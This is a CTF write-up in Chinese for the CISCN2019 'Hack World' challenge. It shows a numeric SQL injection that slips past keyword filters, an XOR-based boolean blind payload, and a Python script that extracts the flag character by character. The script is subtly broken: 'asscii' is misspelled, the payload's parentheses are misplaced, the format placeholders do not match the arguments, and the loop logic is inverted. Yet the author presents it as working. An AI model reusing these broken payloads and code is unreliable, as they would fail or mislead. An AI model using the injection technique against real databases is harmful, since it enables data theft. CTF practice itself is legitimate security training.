1. 程式人生 > 實用技巧 >[CISCN2019 華北賽區 Day2 Web1]Hack World 1詳解

[CISCN2019 華北賽區 Day2 Web1]Hack World 1詳解

開啟題目,

我們開始嘗試注入,

輸入0回顯Error Occured When Fetch Result.

輸入1回顯Hello, glzjin wants a girlfriend.

輸入2回顯Do you want to be my girlfriend?

輸入大於2的數回顯:Error Occured When Fetch Result.

但是有趣的是,我們輸入1/1結果回顯了Hello, glzjin wants a girlfriend.

於是我們判斷它是數字型注入

然後我們繼續測試,發現過濾了很多關鍵字 如:or 、 union、and等,但是沒有過濾()於是我們可以使用很多函式

在這裡我們使用bool(false)盲注,而且用到了異或,這東西相當於or的用法

0^0  //false

0^1  //true

於是構造payload: 0^(asscii(substr((select(flag)from(flag)),1,1))>0)

然後我們通過burpsuite發包,結果回顯正常

於是我們就開始寫exp: 這裡讀了大佬的指令碼,我讀了半天才讀懂,希望可以給大家帶來的新的知識吧

import requests
import time
url="http://2a0a6c19-14aa-4d4a-9201-781b95825f15.node3.buuoj.cn/index.php"
flag=""
payload={
      "id" : ""  
}
for i in range(1,43):
    for j in range(29,129):
        payload["id"]="0^(asscii((substr(select(flag)from(flag)),{0},1))={j})".format(i,j)
        html=requests.post(url,data=payload)
        if "Hello, glzjin wants a girlfriend" in html.text:
            break;
        if j>128:
            continue;
        flag=flag+chr(j)
        print(flag)
        time.sleep(2) 

  python一定要注意段落縮排,我跑了半天說我縮排有問題,我也是服了,也是自己不知道python的語言規則吧,吃一塹長一智。

然後我們就可以跑出flag了。

也是看了很久大佬的wp才學會這樣玩,真舒服。繼續加油吧